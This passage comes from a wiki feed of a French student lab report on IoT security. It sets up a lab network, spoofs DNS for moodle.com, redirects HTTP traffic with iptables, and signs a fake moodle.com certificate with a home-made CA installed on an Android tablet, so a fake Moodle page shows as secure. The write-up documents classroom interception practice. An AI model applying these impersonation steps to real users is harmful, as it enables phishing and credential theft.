  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:PIng_balance.png&amp;diff=10855</id>
		<title>Fichier:PIng balance.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:PIng_balance.png&amp;diff=10855"/>
		<updated>2025-11-18T15:44:40Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10854</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10854"/>
		<updated>2025-11-18T15:26:20Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
